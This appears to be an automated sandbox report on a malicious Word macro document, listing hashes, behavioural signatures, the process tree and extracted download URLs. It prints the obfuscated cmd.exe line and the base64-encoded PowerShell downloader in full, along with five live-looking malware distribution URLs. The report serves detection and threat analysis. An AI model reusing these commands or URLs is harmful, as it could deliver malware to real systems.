Analysis
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max time kernel
138s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
31-05-2024 05:27
Behavioral task
behavioral1
Sample
8617a84a18d514171100484b5fd82daa_JaffaCakes118.doc
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
8617a84a18d514171100484b5fd82daa_JaffaCakes118.doc
Resource
win10v2004-20240508-en
General
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Target
8617a84a18d514171100484b5fd82daa_JaffaCakes118.doc
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Size
109KB
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MD5
8617a84a18d514171100484b5fd82daa
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SHA1
050793d3dcef4f773a26d382e48240391280564f
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SHA256
d28e788eab1e2747d44c9d590fb591894baa3406fb0decb02913923b60a8169a
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SHA512
051a68e6a9ee1f5c83c0e8c550c05e0ca575ec885476dd50bbc4faee9db2c409d1173a0ed98d254e1b112f3742455c5eed7f82ae1046c0bf929e3dd0eb1d1db6
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SSDEEP
768:rfqW2eQ2GBbBi0aWk+1ogDaj9nZUMwIwq4GxaFYtEpg4aAQzTsZreSB1t9ykLYUE:rn2eQ2mBXaWk+agO9CJmcFTpTgwzB4V
Malware Config
Extracted
http://spskamin.ru/Aq2HM/
http://djivi.nl/p8mjDNV/
http://www.jargonmedya.com/eT3KGw/
http://edeal.com.my/KsEg0iF/
http://mickdoyle.com/l4p6j/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3288 1116 Cmd.exe 81 -
Blocklisted process makes network request 8 IoCs
flow pid Process 24 3704 powershell.exe 28 3704 powershell.exe 30 3704 powershell.exe 36 3704 powershell.exe 37 3704 powershell.exe 40 3704 powershell.exe 45 3704 powershell.exe 46 3704 powershell.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
pid Process 3288 Cmd.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 1116 WINWORD.EXE 1116 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3704 powershell.exe 3704 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3704 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 1116 WINWORD.EXE 1116 WINWORD.EXE 1116 WINWORD.EXE 1116 WINWORD.EXE 1116 WINWORD.EXE 1116 WINWORD.EXE 1116 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1116 wrote to memory of 3288 1116 WINWORD.EXE 86 PID 1116 wrote to memory of 3288 1116 WINWORD.EXE 86 PID 3288 wrote to memory of 3704 3288 Cmd.exe 88 PID 3288 wrote to memory of 3704 3288 Cmd.exe 88
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8617a84a18d514171100484b5fd82daa_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1116 -
C:\Windows\SYSTEM32\Cmd.exeCmd jZMqvUMV OpuUvzPmDWojPmrjJTf wSVBnPCz & %^c^o^m^S^p^E^c^% %^c^o^m^S^p^E^c^% /V /c set %jZkwEYREQzUiHYj%=XCJZzLKtpOQW&&set %ZVJAjuUzHbGao%=p&&set %zKkYuziS%=o^w&&set %YSIhMnTzfrbrUmS%=zzzaijik&&set %SUXuSvSz%=!%ZVJAjuUzHbGao%!&&set %GdzXPrHqHvjwrmV%=EmGfaSENtA&&set %rKaWlEWtuIUo%=e^r&&set %VQSNEcWJWNT%=!%zKkYuziS%!&&set %roGwXJC%=s&&set %tsOqnpoXbjnwink%=jZGUSNbfWwcz&&set %iFwzciIaE%=he&&set %OHnSqGYjvkh%=ll&&!%SUXuSvSz%!!%VQSNEcWJWNT%!!%rKaWlEWtuIUo%!!%roGwXJC%!!%iFwzciIaE%!!%OHnSqGYjvkh%! -e IAAoAE4ARQBXAC0AbwBiAGoAZQBDAFQAIABTAFkAUwBUAEUAbQAuAGkATwAuAEMAbwBtAFAAcgBlAHMAUwBpAE8AbgAuAEQAZQBmAGwAYQBUAGUAcwB0AFIAZQBBAG0AKAAgAFsAaQBvAC4AbQBFAE0AbwBSAFkAcwB0AFIARQBBAE0AXQBbAEMATwBuAHYARQByAHQAXQA6ADoAZgBSAG8AbQBCAGEAcwBlADYANABTAFQAUgBJAE4AZwAoACcAVgBaAEQAdABhADgASQB3AEUATQBiAC8AbABYAHcAbwBWAE4AbABNADEAUQAwAFoAbABvAEgAYgAxAEwAMwA0AE4AbABBADIAbABNAEcASQA2AFUAMwBUAE4AawBsAE4AYgBzAFoATwAvAE4AOQBYAG4AUQByADcAYwBuAEQAMwBlAHgANwB1AG4AdgBQADYAcwAzADUAaQB5AEMAMQBSADQAQwBwADYASABnAE4ASABZAHAAaQBLAHQAQQB3ADkAUABwADIAdgBoAHYARgAvAE4AcwA0AHQAZwBxAFIARABRAFAAbwBPADgANABkAFUAZwBNAEwAUQBjAHkATwBMAHEAaABEADYAUwA4AFMAcwBHAFEAUQAyAHMAdwBtAFQAUQBsAEgAegBIAGQAeQB0ADYAawArAEQAbwBIAFUAawBVAFMAegBXAGcAcQBvADAAeQBHADUAawAzAEIANgArAG4AWQBGAHoAagBzAGIATQBMAEwAUwBTAEUATwBXAE0AYwBpADAARABtAEYAegAxAEgAdAAxAFoAQQBoAEcAdwBkAEEAKwBvAHoASQBPAGUANwBTAHkAcQBvAG4AdQBHAFUAdgBBAGsAMABuAGsASwBCADIAZAA2AG4AVABYAGkAdwBLAGYAagBMAEIAVgBZADgAbAB0ACsATwBmAFIANgBNADIAdAAvAFgASABHAGwAZAA4AGgATQBGAFcAeQB3AFYATABzAGsAagBXAHEAOQBWAHEAOABWAEEAdgB2ADgAcwBrAHIAMgBlAFQAMQBRADYAMgBZAFIATQB5AE0AWAB4AFAALwB3AGkAMwBvAHkARgB6ADIARgBEAGYAagBoAGwAegBiAEEAKwBMAEwAawBqAGEAYgAzAFcAaABLAGgAeQBOADgAVAB5AGwAcwAwACsAZgBiADQATwB0AHIAVwBUAHEAVwBhAFIAVgAyAFIAdwBsAEYASwBKADMAcQBNAFIAcQBoAEYAcQBYAHgASgBqAGkAdgBMADQAUgBpAFoAdwBjAHEAcgAwAFIAeQBzAFAAWQAzAEQAZQBiAEUAagBDAFgAZQBjAEkAVgA5AHUAbgBSAEUASQBsAGEAVwAyAFMATAB4AFAAMgB0AGwAdwB5AEYAQgBvAFIAUQBlAEYAZwB5ADAAZwAzAE8AMQArAEEAUQA9AD0AJwAgACkALAAgAFsAUwB5AFMAdABlAG0ALgBpAE8ALgBDAG8AbQBwAFIARQBTAHMASQBPAE4ALgBjAE8ATQBQAFIAZQBzAHMASQBvAE4AbQBvAEQARQBdADoAOgBEAEUAYwBvAE0AcABSAEUAcwBzACAAKQAgAHwAIABGAG8AcgBFAGEAYwBoAHsAIABOAEUAVwAtAG8AYgBqAGUAQwBUACAAaQBvAC4AcwBUAFIARQBBAG0AUgBlAGEARABlAHIAKAAgACQAXwAgACwAWwBzAFkAUwB0AEUAbQAuAFQARQB4AHQALgBlAE4AQwBPAEQASQBuAGcAXQA6ADoAQQBzAGMAaQBJACAAKQB9AHwARgBvAFIAZQBhAEMAaAB7ACAAJABfAC4AcgBlAEEAZABUAE8AZQBOAGQAKAApAH0AIAApAHwAJgAgACgAIAAkAEUAbgBWADoAQwBvAE0AUwBQAGUAYwBbADQALAAxADUALAAyADUAXQAtAGoAbwBJAG4AJwAnACkA2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:3288 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e IAAoAE4ARQBXAC0AbwBiAGoAZQBDAFQAIABTAFkAUwBUAEUAbQAuAGkATwAuAEMAbwBtAFAAcgBlAHMAUwBpAE8AbgAuAEQAZQBmAGwAYQBUAGUAcwB0AFIAZQBBAG0AKAAgAFsAaQBvAC4AbQBFAE0AbwBSAFkAcwB0AFIARQBBAE0AXQBbAEMATwBuAHYARQByAHQAXQA6ADoAZgBSAG8AbQBCAGEAcwBlADYANABTAFQAUgBJAE4AZwAoACcAVgBaAEQAdABhADgASQB3AEUATQBiAC8AbABYAHcAbwBWAE4AbABNADEAUQAwAFoAbABvAEgAYgAxAEwAMwA0AE4AbABBADIAbABNAEcASQA2AFUAMwBUAE4AawBsAE4AYgBzAFoATwAvAE4AOQBYAG4AUQByADcAYwBuAEQAMwBlAHgANwB1AG4AdgBQADYAcwAzADUAaQB5AEMAMQBSADQAQwBwADYASABnAE4ASABZAHAAaQBLAHQAQQB3ADkAUABwADIAdgBoAHYARgAvAE4AcwA0AHQAZwBxAFIARABRAFAAbwBPADgANABkAFUAZwBNAEwAUQBjAHkATwBMAHEAaABEADYAUwA4AFMAcwBHAFEAUQAyAHMAdwBtAFQAUQBsAEgAegBIAGQAeQB0ADYAawArAEQAbwBIAFUAawBVAFMAegBXAGcAcQBvADAAeQBHADUAawAzAEIANgArAG4AWQBGAHoAagBzAGIATQBMAEwAUwBTAEUATwBXAE0AYwBpADAARABtAEYAegAxAEgAdAAxAFoAQQBoAEcAdwBkAEEAKwBvAHoASQBPAGUANwBTAHkAcQBvAG4AdQBHAFUAdgBBAGsAMABuAGsASwBCADIAZAA2AG4AVABYAGkAdwBLAGYAagBMAEIAVgBZADgAbAB0ACsATwBmAFIANgBNADIAdAAvAFgASABHAGwAZAA4AGgATQBGAFcAeQB3AFYATABzAGsAagBXAHEAOQBWAHEAOABWAEEAdgB2ADgAcwBrAHIAMgBlAFQAMQBRADYAMgBZAFIATQB5AE0AWAB4AFAALwB3AGkAMwBvAHkARgB6ADIARgBEAGYAagBoAGwAegBiAEEAKwBMAEwAawBqAGEAYgAzAFcAaABLAGgAeQBOADgAVAB5AGwAcwAwACsAZgBiADQATwB0AHIAVwBUAHEAVwBhAFIAVgAyAFIAdwBsAEYASwBKADMAcQBNAFIAcQBoAEYAcQBYAHgASgBqAGkAdgBMADQAUgBpAFoAdwBjAHEAcgAwAFIAeQBzAFAAWQAzAEQAZQBiAEUAagBDAFgAZQBjAEkAVgA5AHUAbgBSAEUASQBsAGEAVwAyAFMATAB4AFAAMgB0AGwAdwB5AEYAQgBvAFIAUQBlAEYAZwB5ADAAZwAzAE8AMQArAEEAUQA9AD0AJwAgACkALAAgAFsAUwB5AFMAdABlAG0ALgBpAE8ALgBDAG8AbQBwAFIARQBTAHMASQBPAE4ALgBjAE8ATQBQAFIAZQBzAHMASQBvAE4AbQBvAEQARQBdADoAOgBEAEUAYwBvAE0AcABSAEUAcwBzACAAKQAgAHwAIABGAG8AcgBFAGEAYwBoAHsAIABOAEUAVwAtAG8AYgBqAGUAQwBUACAAaQBvAC4AcwBUAFIARQBBAG0AUgBlAGEARABlAHIAKAAgACQAXwAgACwAWwBzAFkAUwB0AEUAbQAuAFQARQB4AHQALgBlAE4AQwBPAEQASQBuAGcAXQA6ADoAQQBzAGMAaQBJACAAKQB9AHwARgBvAFIAZQBhAEMAaAB7ACAAJABfAC4AcgBlAEEAZABUAE8AZQBOAGQAKAApAH0AIAApAHwAJgAgACgAIAAkAEUAbgBWADoAQwBvAE0AUwBQAGUAYwBbADQALAAxADUALAAyADUAXQAtAGoAbwBJAG4AJwAnACkA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3704
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
31KB
MD5b6c23bad1c8950409a8475cb788ef845
SHA1844da1b22548a56c940611467cb1fd7d89df18b0
SHA256f323e5297fd0467bdb641b0847b218ee73aa2c73a6af213b5acd6213bb69f8b9
SHA5123a0a21c792bb6f815eb9aa6f23626e7841451f22e30ebe785864d570b26e4f1e042f1fb04e487e982608134223ca149bdb29b46b7763f1737f104aec77325c0c
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Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82